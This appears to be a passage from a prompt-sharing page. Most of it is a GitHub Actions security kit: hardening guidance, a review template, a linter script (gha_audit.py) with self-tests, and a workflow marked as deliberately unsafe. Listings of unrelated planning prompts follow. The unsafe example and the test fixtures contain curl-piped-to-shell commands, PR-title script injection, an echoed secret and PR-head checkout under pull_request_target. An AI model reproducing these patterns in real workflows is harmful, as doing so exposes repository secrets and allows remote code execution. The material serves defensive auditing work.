## 4. Tách biệt công việc có đặc quyền và không có đặc quyền
- Luồng công việc `pull_request`: thực hiện build và kiểm thử mã nguồn từ bản fork mà không có secrets và chỉ dùng token có quyền đọc; tải kết quả lên dưới dạng một artifact.
- Luồng công việc `workflow_run`: chạy nối tiếp sau đó cùng với secrets, tải artifact xuống, coi nội dung đó là dữ liệu không đáng tin cậy (chỉ phân tích cú pháp JSON, tuyệt đối không thực thi), rồi đăng bình luận hoặc gắn nhãn.

## 5. Checkout và thông tin xác thực
- Đặt `persist-credentials: false` trên `actions/checkout` trừ khi job đó cần thực hiện lệnh push.
- Tuyệt đối không checkout mã nguồn của PR trong `pull_request_target`; nếu bắt buộc phải checkout (ví dụ công cụ gắn nhãn cần đọc tệp cấu hình), chỉ checkout nhánh đích (base branch).

## 6. Runners và các giới hạn
- Self-hosted runners: chỉ dùng cho các kho mã nguồn riêng tư, hoặc phải là dạng dùng một lần (ephemeral - mỗi VM chỉ chạy một job rồi hủy) và không có quyền truy cập mạng vào các hệ thống nội bộ.
- Đặt `timeout-minutes` trên mọi job; cấu hình nhóm `concurrency` cho các luồng triển khai (deploy).

## 7. Secrets và các môi trường (environments)
- Đặt thông tin xác thực dùng để triển khai vào trong một môi trường (environment) có yêu cầu người phê duyệt bắt buộc và quy tắc giới hạn nhánh.
- Ưu tiên sử dụng OIDC (`id-token: write`) thay cho các khóa đám mây dài hạn.
- Che giấu các giá trị phái sinh bằng `::add-mask::` trước khi in ra bất kỳ nội dung nào giống như dữ liệu bí mật.

## Danh sách kiểm tra khi đánh giá
1. Những sự kiện kích hoạt (triggers) nào có thể bị người bên ngoài kích hoạt?
2. Token có thể ghi vào những đâu, và những biến bí mật (secrets) nào có thể tiếp cận được từ các sự kiện kích hoạt đó?
3. Có văn bản nào do kẻ tấn công kiểm soát bị nội suy trực tiếp vào kịch bản hay không?
4. Mọi khai báo `uses:` đã được ghim vào mã băm SHA hay chưa?
5. Có đoạn mã từ xa nào được thực thi mà không qua xác minh hay không?
FILE:templates/workflow-security-review.md
# Đánh Giá Bảo Mật GitHub Actions - <repository>

**Ngày:** <YYYY-MM-DD>  **Người đánh giá:** <name>  **Các tệp:** <.github/workflows/...>
**Chế độ hiển thị kho:** <public/private>  **Cho phép PR từ bản fork:** <yes/no>  **Self-hosted runners:** <yes/no>
**Công cụ kiểm tra:** `gha_audit.py` -> <n> high, <n> medium, <n> low

## Các phát hiện mức độ cao (High)
| Quy tắc | Tệp:dòng | Vấn đề | Kịch bản tấn công | Cách khắc phục |
|---|---|---|---|---|
| | | | | |

## Các phát hiện mức độ trung bình và thấp (Medium & Low)
| Quy tắc | Tệp:dòng | Vấn đề | Cách khắc phục |
|---|---|---|---|
| | | | |

## Các phát hiện đã loại trừ
- <quy tắc, tệp:dòng> - <lý do không thể khai thác trong trường hợp này>

## Bản vá đề xuất
```diff
<minimal diff>
```

## Những hạng mục không nằm trong phạm vi đánh giá này
- Các luồng công việc tái sử dụng (reusable workflows) và các composite action được gọi từ những tệp này
- Cài đặt cấp kho mã nguồn và cấp tổ chức (quyền mặc định của token, phê duyệt PR từ bản fork, cấu hình môi trường)

## Các việc cần làm tiếp theo
- [ ] Bật Dependabot cho hệ sinh thái github-actions
- [ ] Đặt quyền mặc định của luồng công việc thành chỉ đọc (read-only)
- [ ] Yêu cầu người phê duyệt đối với môi trường production
FILE:examples/pr-labeler.yml
# Deliberately unsafe example for gha_audit.py. Expected findings (line numbers in this file):
#   GHA001 high   line 21 - pull_request_target checks out the PR head
#   GHA002 high   line 24 - PR title pasted into run (script injection)
#   GHA007 high   line 25 - secret echoed in run
#   GHA004 high   line 27 - third-party action on @main
#   GHA005 medium line 1  - no permissions block at workflow or job level
#   GHA008 medium line 26 - curl piped to bash
#   GHA012 low    line 16 - job without timeout-minutes
#   GHA003 low    line 19 - actions/checkout@v4 pinned to a tag
#   GHA011 low    line 19 - checkout without persist-credentials: false
name: PR labeler
on:
  pull_request_target:
    types: [opened, synchronize]
jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: { github.event.pull_request.head.sha}
      - name: Greet
        run: |
          echo "Thanks for: { github.event.pull_request.title}"
          echo "token={ secrets.LABEL_TOKEN}"
          curl -sSL https://example.com/install.sh | bash
      - uses: someorg/auto-labeler@main
FILE:scripts/gha_audit.py
#!/usr/bin/env python3
"""GitHub Actions workflow security linter (Python 3 standard library only, no YAML library).

Reads workflow files line by line, tracking indentation, and reports risky patterns with rule IDs
(see references/risk-catalog.md):
  GHA001 pull_request_target/workflow_run + checkout of PR head      high
  GHA002 untrusted { github.event.*} text inside run:/script:    high
  GHA003 uses: pinned to a tag instead of a commit SHA               medium (low for actions/*, github/*)
  GHA004 uses: on a branch (@main/@master) or without a ref          high
  GHA005 no permissions at workflow level or on every job            medium
  GHA006 permissions: write-all                                      high
  GHA007 { secrets.*} inside run: (high when echoed/printed)     high/medium
  GHA008 curl/wget piped to a shell                                  medium
  GHA009 self-hosted runner on pull_request(_target)                 medium
  GHA010 ACTIONS_ALLOW_UNSECURE_COMMANDS enabled                     high
  GHA011 actions/checkout without persist-credentials: false         low
  GHA012 job without timeout-minutes                                 low
  GHA013 docker:// image without @sha256 digest                      low
  GHA014 workflow_run + actions/download-artifact                    medium

Usage:
  python3 gha_audit.py .github/workflows/*.yml
  python3 gha_audit.py ci.yml --json
  python3 gha_audit.py ci.yml --strict      # exit 1 on any finding
  python3 gha_audit.py --self-test
Exit code: 0 no high findings, 1 high findings (or any with --strict), 2 unreadable file.
"""
import argparse
import json
import re
import sys

SEV_ORDER = {"high": 0, "medium": 1, "low": 2}
TRUSTED_OWNERS = {"actions", "github"}
BRANCH_REFS = {"main", "master", "dev", "develop", "trunk", "head", "latest"}
UNTRUSTED_EXPR = re.compile(
    r"github\.head_ref"
    r"|github\.event\.[\w.*\[\]'\"-]*?\b(title|body|message|page_name|email|head_branch|default_branch|label)\b"
    r"|github\.event\.[\w.*\[\]'\"-]*?head\.ref\b"
    r"|github\.event\.[\w.*\[\]'\"-]*?author\.name\b"
)
EXPR = re.compile(r"\$\{\{(.*?)\}\}")
SECRET_EXPR = re.compile(r"\$\{\{\s*secrets\.([A-Za-z0-9_]+)\s*\}\}")
PR_HEAD_REF = re.compile(r"ref:\s*['\"]?\$\{\{\s*(github\.event\.pull_request\.head\.(sha|ref)|github\.head_ref|github\.event\.workflow_run\.head_(sha|branch))\s*\}\}")
PIPE_SHELL = re.compile(r"\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(-E\s+)?(ba|z|da)?sh\b")
PRINT_CMD = re.compile(r"\b(echo|printf|cat|tee|print)\b")
SHA40 = re.compile(r"^[0-9a-f]{40}$")


def strip_comment(line):
    """Remove a trailing YAML comment (a # preceded by whitespace, outside quotes)."""
    out, q = [], None
    for i, ch in enumerate(line):
        if q:
            if ch == q:
                q = None
        elif ch in "'\"":
            q = ch
        elif ch == "#" and (i == 0 or line[i - 1] in " \t"):
            break
        out.append(ch)
    return "".join(out).rstrip()


def indent_of(s):
    return len(s) - len(s.lstrip(" "))


def parse_lines(text):
    """Return a list of (lineno, indent, content) for non-empty, non-comment lines."""
    rows = []
    for n, raw in enumerate(text.splitlines(), 1):
        s = strip_comment(raw.replace("\t", "  "))
        if s.strip():
            rows.append((n, indent_of(s), s.strip()))
    return rows


def block_end(rows, i):
    """Index after the block owned by rows[i] (all following rows indented deeper)."""
    ind = rows[i][1]
    j = i + 1
    while j < len(rows) and rows[j][1] > ind:
        j += 1
    return j


def key_of(content):
    c = content[2:].lstrip() if content.startswith("- ") else content
    m = re.match(r"^['\"]?([A-Za-z0-9_\-]+)['\"]?\s*:(\s|$)", c)
    return (m.group(1), c[m.end():].strip()) if m else (None, None)


def triggers(rows):
    trig = set()
    for i, (n, ind, c) in enumerate(rows):
        k, v = key_of(c)
        if ind == 0 and k in ("on", "true"):
            if v:
                trig.update(re.findall(r"[a-z_]+", v))
            else:
                end = block_end(rows, i)
                child = min((rows[j][1] for j in range(i + 1, end)), default=None)
                for j in range(i + 1, end):
                    if rows[j][1] == child:
                        ck, _ = key_of(rows[j][2])
                        if ck:
                            trig.add(ck)
                        elif rows[j][2].startswith("- "):
                            trig.add(rows[j][2][2:].strip())
    return trig


def audit_text(text, path="workflow.yml"):
    rows = parse_lines(text)
    findings = []

    def add(rule, sev, line, msg):
        findings.append({"file": path, "line": line, "rule": rule, "severity": sev, "message": msg})

    trig = triggers(rows)
    privileged = trig & {"pull_request_target", "workflow_run"}
    pr_triggers = trig & {"pull_request", "pull_request_target"}

    top_perm = None
    jobs_idx = None
    for i, (n, ind, c) in enumerate(rows):
        k, v = key_of(c)
        if ind == 0 and k == "permissions":
            top_perm = (n, v)
        if ind == 0 and k == "jobs":
            jobs_idx = i
    if top_perm and top_perm[1].strip("'\"") == "write-all":
        add("GHA006", "high", top_perm[0], "permissions: write-all gives every step write access to all scopes")

    # jobs
    jobs = []
    if jobs_idx is not None:
        end = block_end(rows, jobs_idx)
        child = min((rows[j][1] for j in range(jobs_idx + 1, end)), default=None)
        for j in range(jobs_idx + 1, end):
            if rows[j][1] == child and key_of(rows[j][2])[0]:
                jobs.append((j, block_end(rows, j)))
    jobs_with_perm = 0
    for (js, je) in jobs:
        jname = key_of(rows[js][2])[0]
        jind = rows[js][1]
        direct = [r for r in rows[js + 1:je] if r[1] == min(x[1] for x in rows[js + 1:je])] if je > js + 1 else []
        dkeys = {key_of(r[2])[0]: r for r in direct}
        if "permissions" in dkeys:
            jobs_with_perm += 1
            if dkeys["permissions"][2].split(":", 1)[1].strip().strip("'\"") == "write-all":
                add("GHA006", "high", dkeys["permissions"][0], f"job '{jname}' uses permissions: write-all")
        if "timeout-minutes" not in dkeys and "uses" not in dkeys:
            add("GHA012", "low", rows[js][0], f"job '{jname}' has no timeout-minutes (default is 360)")
        if "runs-on" in dkeys:
            ro_i = rows.index(dkeys["runs-on"])
            ro_text = " ".join(r[2] for r in rows[ro_i:block_end(rows, ro_i)])
            if "self-hosted" in ro_text and pr_triggers:
                add("GHA009", "medium", dkeys["runs-on"][0], f"job '{jname}' runs pull request code on a self-hosted runner")
    if top_perm is None and (not jobs or jobs_with_perm < len(jobs)):
        add("GHA005", "medium", 1, "no permissions block at workflow level (and not on every job); GITHUB_TOKEN gets the repo default")

    # line-level checks
    i = 0
    while i < len(rows):
        n, ind, c = rows[i]
        k, v = key_of(c)
        if k in ("run", "script"):
            end = block_end(rows, i)
            body = [(n, v)] if v and v not in ("|", ">", "|-", ">-", "|+", ">+") else []
            body += [(r[0], r[2]) for r in rows[i + 1:end]]
            for bn, bt in body:
                for m in EXPR.finditer(bt):
                    expr = m.group(1).strip()
                    if UNTRUSTED_EXPR.search(expr):
                        add("GHA002", "high", bn, f"untrusted expression {{{ {expr }}}} is pasted into {k}: (script injection); pass it via env")
                for m in SECRET_EXPR.finditer(bt):
                    if PRINT_CMD.search(bt):
                        add("GHA007", "high", bn, f"secret {m.group(1)} is printed in {k}:")
                    else:
                        add("GHA007", "medium", bn, f"secret {m.group(1)} is interpolated into {k}:; map it to env instead")
                if k == "run" and PIPE_SHELL.search(bt):
                    add("GHA008", "medium", bn, "remote script piped straight into a shell")
            i = end
            continue
        if k == "uses":
            ref = v.strip("'\"")
            if ref.startswith("./"):
                pass
            elif ref.startswith("docker://"):
                if "@sha256:" not in ref:
                    add("GHA013", "low", n, f"{ref} is not pinned to an image digest")
            else:
                name, _, at = ref.partition("@")
                owner = name.split("/")[0].lower()
                if not at or at.lower() in BRANCH_REFS:
                    add("GHA004", "high", n, f"{ref or name} follows a branch or has no ref; pin to a commit SHA")
                elif not SHA40.match(at):
                    sev = "low" if owner in TRUSTED_OWNERS else "medium"
                    add("GHA003", sev, n, f"{ref} is pinned to a tag, not a full commit SHA")
                if name.lower().startswith("actions/checkout"):
                    # the step block: siblings at this indent (after '- ') and deeper
                    step_ind = ind + 2 if c.startswith("- ") else ind
                    j = i + 1
                    j0 = i
                    while j0 > 0 and not rows[j0][2].startswith("- ") and rows[j0][1] >= step_ind:
                        j0 -= 1
                    while j < len(rows) and rows[j][1] >= step_ind and not (rows[j][1] == step_ind - 2 and rows[j][2].startswith("- ")):
                        j += 1
                    step = " ".join(r[2] for r in rows[j0:j])
                    if not re.search(r"persist-credentials:\s*['\"]?false", step):
                        add("GHA011", "low", n, "actions/checkout keeps the token in .git/config; add persist-credentials: false")
                if name.lower().startswith("actions/download-artifact") and "workflow_run" in trig:
                    add("GHA014", "medium", n, "artifact from a workflow_run may be attacker-controlled; treat as data")
        if privileged and PR_HEAD_REF.search(c):
            add("GHA001", "high", n, f"{'/'.join(sorted(privileged))} workflow checks out untrusted PR code with secrets available")
        if re.search(r"ACTIONS_ALLOW_UNSECURE_COMMANDS\s*:\s*['\"]?true", c, re.I):
            add("GHA010", "high", n, "ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables set-env/add-path")
        i += 1

    findings.sort(key=lambda f: (f["file"], SEV_ORDER[f["severity"]], f["line"], f["rule"]))
    return {"file": path, "triggers": sorted(trig), "jobs": len(jobs), "findings": findings}


def to_markdown(results):
    out = ["# GitHub Actions security audit", ""]
    tot = {"high": 0, "medium": 0, "low": 0}
    for r in results:
        for f in r["findings"]:
            tot[f["severity"]] += 1
    out.append(f"**Files:** {len(results)}  **Findings:** {tot['high']} high, {tot['medium']} medium, {tot['low']} low")
    for r in results:
        out += ["", f"## {r['file']}", f"Triggers: {', '.join(r['triggers']) or 'none found'}; jobs: {r['jobs']}", ""]
        if not r["findings"]:
            out.append("No findings.")
            continue
        out += ["| Severity | Rule | Line | Finding |", "|---|---|---|---|"]
        for f in r["findings"]:
            msg = f["message"].replace("|", "\\|")
            out.append(f"| {f['severity']} | {f['rule']} | {f['line']} | {msg} |")
    return "\n".join(out)


SAFE = """name: CI
on:
  pull_request:
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0
        with:
          persist-credentials: false
      - name: Test
        env:
          PR_TITLE: { github.event.pull_request.title}
        run: |
          echo "Testing $PR_TITLE"
          make test
"""


def self_test():
    cases = []

    def ok(name, cond):
        cases.append((name, bool(cond)))

    def rules(text):
        return [(f["rule"], f["severity"]) for f in audit_text(text)["findings"]]

    ok("safe workflow has no findings", rules(SAFE) == [])
    ok("triggers parsed from block", audit_text(SAFE)["triggers"] == ["pull_request"])
    ok("triggers parsed from list", audit_text("on: [push, pull_request]\njobs: {}\n")["triggers"] == ["pull_request", "push"])
    inj = SAFE.replace('echo "Testing $PR_TITLE"', 'echo "{ github.event.pull_request.title}"')
    ok("title in run is GHA002 high", ("GHA002", "high") in rules(inj))
    ok("head_ref in run is GHA002", ("GHA002", "high") in rules(SAFE.replace("make test", "git push origin { github.head_ref}")))
    ok("comment body in github-script", ("GHA002", "high") in rules(SAFE.replace("run: |", "script: |")
                                                                      .replace("make test", "core.info('{ github.event.comment.body}')")))
    ok("env indirection is not flagged", not any(r == "GHA002" for r, _ in rules(SAFE)))
    ok("PR number is safe", rules(SAFE.replace("make test", "echo { github.event.pull_request.number}")) == [])
    ok("tag pin on actions/* is GHA003 low", ("GHA003", "low") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@v4")))
    ok("tag pin third party is medium", ("GHA003", "medium") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "acme/checkout@v1")))
    ok("branch pin is GHA004 high", ("GHA004", "high") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@main")))
    ok("local action not flagged", rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "./.github/actions/setup")) == [])
    ok("missing permissions is GHA005", ("GHA005", "medium") in rules(SAFE.replace("permissions:\n  contents: read\n", "")))
    ok("job-level permissions satisfy GHA005", rules(SAFE.replace("permissions:\n  contents: read\n", "").replace("    timeout-minutes: 15\n", "    timeout-minutes: 15\n    permissions:\n      contents: read\n")) == [])
    ok("write-all is GHA006", ("GHA006", "high") in rules(SAFE.replace("permissions:\n  contents: read", "permissions: write-all")))
    ok("echoed secret is GHA007 high", ("GHA007", "high") in rules(SAFE.replace("make test", "echo { secrets.NPM_TOKEN}")))
    ok("inline secret is GHA007 medium", ("GHA007", "medium") in rules(SAFE.replace("make test", "npm publish --token { secrets.NPM_TOKEN}")))
    ok("curl | bash is GHA008", ("GHA008", "medium") in rules(SAFE.replace("make test", "curl -fsSL https://x.sh | sudo bash")))
    ok("self-hosted on PR is GHA009", ("GHA009", "medium") in rules(SAFE.replace("ubuntu-latest", "[self-hosted, linux]")))
    ok("self-hosted on push is fine", rules(SAFE.replace("pull_request:", "push:").replace("ubuntu-latest", "self-hosted")) == [])
    ok("unsecure commands is GHA010", ("GHA010", "high") in rules(SAFE.replace("PR_TITLE: { github.event.pull_request.title}", "ACTIONS_ALLOW_UNSECURE_COMMANDS: true")))
    ok("checkout without persist-credentials is GHA011", ("GHA011", "low") in rules(SAFE.replace("        with:\n          persist-credentials: false\n", "")))
    ok("missing timeout is GHA012", ("GHA012", "low") in rules(SAFE.replace("    timeout-minutes: 15\n", "")))
    ok("docker tag is GHA013", ("GHA013", "low") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0", "docker://alpine:3.20")))
    prt = SAFE.replace("pull_request:", "pull_request_target:").replace("persist-credentials: false", "persist-credentials: false\n          ref: { github.event.pull_request.head.sha}")
    ok("pull_request_target + head checkout is GHA001", ("GHA001", "high") in rules(prt))
    ok("pull_request + head checkout is not GHA001", not any(r == "GHA001" for r, _ in rules(SAFE.replace("persist-credentials: false", "persist-credentials: false\n          ref: { github.event.pull_request.head.sha}"))))
    wr = SAFE.replace("pull_request:", "workflow_run:\n    workflows: [CI]").replace("      - name: Test", "      - uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5\n      - name: Test")
    ok("workflow_run + download-artifact is GHA014", ("GHA014", "medium") in rules(wr))
    ok("comment with # in string kept", strip_comment('run: echo "a # b" # note') == 'run: echo "a # b"')
    md = to_markdown([audit_text(inj, "ci.yml")])
    ok("markdown lists file and rule", "## ci.yml" in md and "GHA002" in md)
    passed = sum(c for _, c in cases)
    for name, c in cases:
        print(("PASS " if c else "FAIL ") + name)
    print(f"{passed}/{len(cases)} passed")
    return 0 if passed == len(cases) else 1


def main(argv=None):
    ap = argparse.ArgumentParser(description="Lint GitHub Actions workflow files for security risks.")
    ap.add_argument("files", nargs="*", help="workflow .yml files ('-' for stdin)")
    ap.add_argument("--json", action="store_true")
    ap.add_argument("--strict", action="store_true", help="exit 1 on any finding")
    ap.add_argument("--self-test", action="store_true")
    a = ap.parse_args(argv)
    if a.self_test:
        return self_test()
    if not a.files:
        ap.error("at least one workflow file required (or --self-test)")
    results = []
    for p in a.files:
        try:
            text = sys.stdin.read() if p == "-" else open(p, encoding="utf-8").read()
        except OSError as e:
            print(f"error: {e}", file=sys.stderr)
            return 2
        results.append(audit_text(text, p))
    print(json.dumps(results, indent=2) if a.json else to_markdown(results))
    allf = [f for r in results for f in r["findings"]]
    if any(f["severity"] == "high" for f in allf) or (a.strict and allf):
        return 1
    return 0


if __name__ == "__main__":
    sys.exit(main())
SecurityDevOpsYAML+2
F@f
0
Trình lập kế hoạch mùa sinh hoạt Câu lạc bộ Sách (YAML)
Văn bản

Lập kế hoạch cho toàn bộ một mùa sinh hoạt câu lạc bộ sách dưới dạng YAML: danh sách đọc cân bằng kèm ghi chú nội dung và định dạng, lịch họp được kiểm tra tiến độ đọc, hướng dẫn thảo luận có lưu ý tránh tiết lộ nội dung (spoiler), mẹo điều phối cho thành viên trầm tính và thành viên nói nhiều, luân phiên người chủ trì, chào đón thành viên mới, và khảo sát phản hồi cuối mùa.

1role: Người tổ chức câu lạc bộ sách chu đáo và người điều phối thảo luận
2task: >
3 Lập kế hoạch trọn vẹn một mùa sinh hoạt cho câu lạc bộ sách dưới dạng YAML: danh sách sách đọc cân bằng, lịch
4 họp phù hợp với tốc độ đọc của các thành viên, hướng dẫn thảo luận sâu sắc vượt ra ngoài câu hỏi "bạn có thích cuốn sách không",
5 phân công nhiệm vụ chủ trì và luân phiên, các tùy chọn hỗ trợ tiếp cận, cùng những cách đơn giản để giữ chân các thành viên
6 hào hứng tham gia và chào đón người mới.
7
8inputs:
9 club_name: ${club_name:Second Tuesday Readers}
10 members: ${members:9 adults, mixed ages, two new this season}
...+84 dòng nữa
PlanningYAMLCommunity+2
F@f
0
Bảng Bàn giao Chăm sóc Nhà cửa và Thú cưng (YAML)
Văn bản

Biến các ghi chú rời rạc thành một bảng bàn giao định dạng YAML dành cho người trông nhà hoặc chăm sóc thú cưng: lịch trình hàng ngày theo khung giờ, việc cho ăn và uống thuốc của thú cưng, các dấu hiệu cần gọi bác sĩ thú y ngay, cây cảnh, hệ thống trong nhà, khóa cửa, đổ rác, tình huống khẩn cấp, vị trí để các vật dụng thiết yếu, danh bạ liên hệ và nhật ký hàng ngày, đồng thời giữ các thông tin mật tách biệt khỏi bảng bàn giao.

1role: Người điều phối chăm sóc nhà cửa và thú cưng điềm tĩnh, tỉ mỉ
2task: >
3 Biến các ghi chú rời rạc của tôi thành một bảng bàn giao hoàn chỉnh, dễ đọc lướt dưới dạng YAML dành cho
4 người trông nhà hoặc người chăm sóc thú cưng sẽ ở lại hoặc ghé qua nhà tôi trong thời gian tôi đi vắng: lịch sinh hoạt
5 hàng ngày, chăm sóc thú cưng, cây cảnh, hệ thống trong nhà, an ninh, tình huống khẩn cấp và danh bạ liên hệ, được viết sao cho
6 một người chưa từng đến nhà tôi bao giờ cũng có thể làm theo mà không cần phải gọi hỏi tôi.
7
8inputs:
9 trip_dates: ${dates:Friday 14:00 to the following Sunday 20:00}
10 sitter_arrangement: ${arrangement:sitter stays overnight, works from home during the day}
...+86 dòng nữa
PlanningYAMLOrganization+2
F@f
0
Trình Xây Dựng Kế Hoạch Hội Nhập Tuần Đầu Cho Nhân Viên Mới (YAML)
Văn bản

Chuyển đổi các ghi chú về một thành viên mới trong nhóm thành kế hoạch hội nhập tuần đầu tiên ở định dạng YAML: danh sách kiểm tra trước ngày bắt đầu kèm người phụ trách, tin nhắn chào mừng, lịch trình từng ngày có giới hạn thời lượng họp, những người cần gặp, quyền truy cập và thiết bị, kế hoạch học tập, đóng góp đầu tiên ít rủi ro, hướng dẫn cho người đồng hành (buddy) và các câu hỏi thu thập phản hồi.

1role: Người quản lý nhân sự chu đáo và chuyên gia thiết kế quy trình hội nhập (onboarding) cho các nhóm quy mô nhỏ và vừa
2task: >
3 Chuyển các ghi chú của tôi về một thành viên mới, vai trò của họ và nhóm của tôi thành một kế hoạch
4 hội nhập tuần đầu tiên hoàn chỉnh dưới định dạng YAML: chuẩn bị trước ngày đầu tiên, lịch trình từng ngày,
5 những người cần gặp, quyền truy cập và thiết bị, mục tiêu học tập, một đóng góp nhỏ đầu tiên, các buổi
6 trao đổi ngắn (check-in) và một cách đơn giản để thu thập phản hồi, giúp nhân viên mới cảm thấy được chào đón
7 và làm việc hiệu quả mà không bị quá tải.
8
9inputs:
10 new_hire_role: ${role:junior customer support specialist}
...+81 dòng nữa
PlanningYAMLOnboarding+2
F@f
0
Trình lập kế hoạch bán đồ cũ tại nhà - Garage Sale (YAML)
Văn bản

Biến danh sách những món đồ cần bán thành bản kế hoạch bán đồ cũ tại nhà (garage sale) định dạng YAML: quy tắc phân loại, hướng dẫn định giá bán nhanh kèm combo, lịch trình chuẩn bị, sơ đồ bố trí bàn, nội dung biển báo và bài đăng, thiết lập tiền mặt và thanh toán, phân công vai trò, lịch trình trong ngày diễn ra, các câu trả lời khi mặc cả, quy tắc an toàn và kế hoạch cho những món đồ không bán được.

1role: Người lập kế hoạch bán đồ cũ tại nhà (garage sale) ngăn nắp, nhiệt huyết, giúp các hộ gia đình dọn dẹp đồ đạc lộn xộn và kiếm được một khoản tiền hợp lý trong một ngày tổ chức bài bản
2task: >
3 Biến các ghi chú của tôi về những món đồ tôi muốn bán, không gian của tôi và ngày tổ chức thành một bản kế hoạch bán đồ cũ tại nhà hoàn chỉnh
4 ở định dạng YAML: hướng dẫn phân loại và định giá, lịch trình chuẩn bị, sơ đồ bố trí khu vực bán hàng,
5 nội dung biển báo và bài đăng rao bán, thiết lập tiền mặt và thanh toán, lịch trình trong ngày kèm phân công vai trò, quy tắc mặc cả,
6 nhắc nhở an toàn, và kế hoạch xử lý cho mọi món đồ không bán được.
7
8inputs:
9 sale_date_and_hours: ${date:Saturday, 08:00 to 13:00}
10 location: ${location:driveway and open garage of a house on a quiet residential street}
...+83 dòng nữa
PlanningYAMLOrganization+2
F@f
0
Trình Lập Kế Hoạch Tiệc Sinh Nhật Cho Trẻ Em (YAML)
Văn bản

Chuyển các ghi chú về bé, khách mời, địa điểm và ngân sách thành bản kế hoạch tiệc sinh nhật trẻ em định dạng YAML: chủ đề, nội dung thiệp mời, phân bổ ngân sách, danh sách mua sắm và chuẩn bị, lịch trình từng phút cho các trò chơi phù hợp lứa tuổi, kế hoạch đồ ăn và bánh kem an toàn dị ứng, tỷ lệ người lớn và an toàn, phân công người hỗ trợ, phương án dự phòng ngày mưa, quà cảm ơn và lời cảm ơn sau tiệc.

1role: Người lập kế hoạch tiệc trẻ em vui vẻ, thực tế, chuyên thiết kế các bữa tiệc sinh nhật an toàn, phù hợp với lứa tuổi, mang lại niềm vui cho các bé và giảm thiểu căng thẳng cho phụ huynh
2task: >
3 Chuyển các ghi chú của tôi về bé, khách mời, địa điểm và ngân sách thành một bản kế hoạch tiệc sinh nhật
4 trẻ em hoàn chỉnh dưới dạng YAML: ý tưởng chủ đề, nội dung thiệp mời, phân bổ ngân sách, danh sách mua sắm và chuẩn bị,
5 lịch trình bữa tiệc chi tiết từng phút với các trò chơi và hoạt động phù hợp lứa tuổi, kế hoạch đồ ăn và bánh kem
6 đảm bảo an toàn với các chứng dị ứng, kế hoạch góc yên tĩnh và an toàn, phân công vai trò người hỗ trợ, phương án dự phòng ngày mưa,
7 quà tặng mang về (party favors) và lời cảm ơn sau bữa tiệc.
8
9inputs:
10 child_name_and_age: ${child:Maya, turning 6}
...+108 dòng nữa
BudgetingPlanningYAML+2
F@f
0
Trình Xây Dựng Lịch Trình Nấu Bữa Tối Dịp Lễ (YAML)
Văn bản

Chuyển đổi thực đơn ngày lễ, số lượng khách và thiết lập nhà bếp thành kế hoạch nấu ăn định dạng YAML được tính ngược từ giờ dọn món: kiểm tra thực đơn và chế độ ăn uống, danh sách mua sắm được điều chỉnh theo khẩu phần, rã đông an toàn, các công việc chuẩn bị trước, kế hoạch phân bổ công suất lò nướng và bếp nấu, lịch trình chi tiết từng phút trong ngày diễn ra bữa tiệc, các mốc kiểm tra an toàn thực phẩm, phân công việc cho người phụ bếp, cách phục vụ, xử lý đồ ăn thừa và phương án dự phòng khi bị trễ giờ.

1role: Người lập kế hoạch nấu ăn tại nhà điềm tĩnh, có tổ chức, chuyên biến một bữa tối dịp lễ lớn hoặc tiệc kỷ niệm thành một lịch trình nấu nướng thực tế, từng bước một để mọi món ăn đều sẵn sàng, nóng hổi và an toàn vào cùng một thời điểm mà chủ nhà vẫn có thời gian ngồi xuống dùng bữa
2task: >
3 Chuyển đổi thực đơn, danh sách khách mời, thiết bị nhà bếp và thời gian dọn món của tôi thành một kế hoạch nấu ăn hoàn chỉnh dưới dạng YAML:
4 kiểm tra thực đơn, danh sách mua sắm được điều chỉnh theo số lượng khách, lịch trình chuẩn bị trước cho những ngày trước đó, lịch trình theo từng giờ
5 và sau đó là từng phút cho chính ngày hôm đó được tính ngược từ thời gian dọn món, kế hoạch phân bổ công suất lò nướng
6 và bếp nấu để không có món nào tranh giành cùng một không gian, các điểm kiểm tra an toàn thực phẩm, nhiệm vụ cho người phụ giúp,
7 kế hoạch phục vụ và bảo quản thức ăn thừa, cùng kế hoạch dự phòng nếu có món bị trễ.
8
9inputs:
10 occasion: ${occasion:a family holiday dinner}
...+98 dòng nữa
PlanningYAMLChecklist+2
F@f
0
Kế Hoạch Đếm Ngược Trước Ngày Lên Đường Du Học (YAML)
Văn bản

Chuyển đổi điểm đến, chương trình học và ngày đi của bạn thành kế hoạch đếm ngược du học định dạng YAML: kiểm tra hạn chót giấy tờ và thị thực, kế hoạch theo từng tuần từ 10 tuần trước khi bay, thiết lập tài chính và ngân hàng, các bước chuẩn bị sức khỏe và bảo hiểm, hậu cần nhà ở và khi mới đến, đóng gói hành lý trong giới hạn cân nặng, những việc cần tạm dừng ở quê nhà, lịch trình ngày khởi hành và danh sách việc cần làm trong tuần đầu tiên.

1role: Cố vấn du học có tổ chức, luôn khích lệ tinh thần, chuyên giúp sinh viên biến những tháng ngày hỗn loạn trước khi lên đường đi học một học kỳ hoặc chương trình cấp bằng ở nước ngoài thành một kế hoạch đếm ngược bình tĩnh theo từng tuần để không bỏ sót điều gì quan trọng và tuần đầu tiên khi mới đến diễn ra suôn sẻ
2task: >
3 Chuyển đổi điểm đến, chương trình học, các mốc thời gian và hoàn cảnh của tôi thành một kế hoạch khởi hành hoàn chỉnh dưới dạng YAML:
4 kiểm tra giấy tờ và hạn chót, lịch đếm ngược từng tuần từ 10 tuần trước ngày khởi hành cho đến
5 ngày bay, thiết lập tiền bạc và ngân hàng, các bước về sức khỏe và bảo hiểm, hậu cần nhà ở và khi mới đến,
6 thiết lập điện thoại và kỹ thuật số, kế hoạch đóng gói hành lý theo danh mục kèm giới hạn cân nặng, những việc cần đóng hoặc
